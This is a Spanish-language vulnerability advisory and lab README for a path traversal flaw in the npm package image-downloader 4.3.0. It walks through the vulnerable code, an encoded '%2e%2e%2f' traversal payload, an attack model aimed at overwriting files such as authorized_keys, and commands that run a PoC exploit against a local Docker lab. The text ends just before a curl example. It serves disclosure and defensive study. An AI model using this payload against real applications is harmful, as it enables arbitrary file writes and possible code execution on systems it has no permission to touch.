
Aviso y PoC para CVE-2026-103648, un path traversal (CWE-22) en image-downloader 4.3.0 que permite escritura arbitraria de archivos, con análisis de causa raíz, diff del parche y laboratorio Docker.
image-downloader
Descubierto por: Amirhossein Roustaei (@EterNullSec) — Eternull Security
📖 Análisis técnico completo: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal
⚠️ Solo con fines educativos. Este repositorio documenta una vulnerabilidad divulgada de forma responsable. Todo el código PoC está destinado únicamente a la investigación y pruebas de seguridad autorizadas en entornos de laboratorio aislados. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso escrito explícito para probar.
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-103648 |
| Entrada NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| Puntuación CVSS v3.1 | 9.1 Crítica — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Limitación incorrecta de un nombre de ruta a un directorio restringido |
| Paquete | image-downloader (npm) por demsking |
| Descargas semanales en npm | ~11.000 (~38.000/mes) — fuente |
| Versiones afectadas | < 4.3.1 (todas las versiones, incluida la 4.3.0) |
| Versión corregida | 4.3.1 |
| Asignado por | GitLab |
| Publicado | 2026-10-02 |
| Reportado por | Amirhossein Roustaei (@EterNullSec), Eternull Security |
La vulnerabilidad se encuentra en la lógica de extracción de nombres de archivo de [email protected]. Este es el código fuente real de la versión afectada (index.js, extraído directamente del paquete npm publicado):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) sobre la ruta de URL que aún está codificada en porcentaje. Una secuencia como %2e%2e%2fpwned.sh no contiene ningún / literal, por lo que path.basename() trata todo el conjunto como un único nombre de archivo y lo devuelve sin cambios — no se elimina nada.decodeURIComponent(). Este es el paso que convierte %2e%2e%2f de nuevo en un ../ literal — pero para entonces ya ha sobrevivido al paso de basename que se suponía que debía sanearlo.path.join(options.dest, decodedBasename) con una cadena que ahora contiene un segmento ../ real. path.join() normaliza .. de la misma forma que lo haría cd .. — por lo que la ruta de escritura final se resuelve en una ubicación fuera de options.dest.En resumen: el código decodifica el nombre de archivo de la forma correcta, solo que en el orden equivocado respecto a path.basename(). Decodificar y luego aplicar basename es seguro; aplicar basename y luego decodificar no lo es.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Este laboratorio demuestra el mecanismo del fallo de extremo a extremo en un único script para facilitar su reproducción, pero vale la pena enunciar explícitamente el modelo de ataque del mundo real:
download.image({ url, dest }) de image-downloader con un valor de url que no controlaba completamente por sí misma — por ejemplo, una URL enviada por un usuario (funciones de importación de avatar/imagen), extraída de la carga útil de un webhook, o leída de un feed RSS/contenido.url de la víctima, y controla el componente de ruta de esa URL — lo cual es suficiente por sí solo, ya que el recorrido de directorios reside en la ruta de la URL (%2e%2e%2f...), no en el cuerpo de la respuesta.authorized_keys, o un ejecutable que la aplicación ejecuta posteriormente).En exploit/exploit.py, los roles de atacante y víctima se combinan en un único script por comodidad del laboratorio (levanta tanto la petición al servidor "víctima" como el servidor de carga útil controlado por el atacante). En un escenario de explotación real, estas son dos partes separadas y no relacionadas — el PoC está estructurado de esta manera únicamente para que la vulnerabilidad sea reproducible con un solo comando.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
El servidor vulnerable estará disponible en http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
O manualmente con curl (el recorrido está en la ruta de la URL, no en el cuerpo de la respuesta):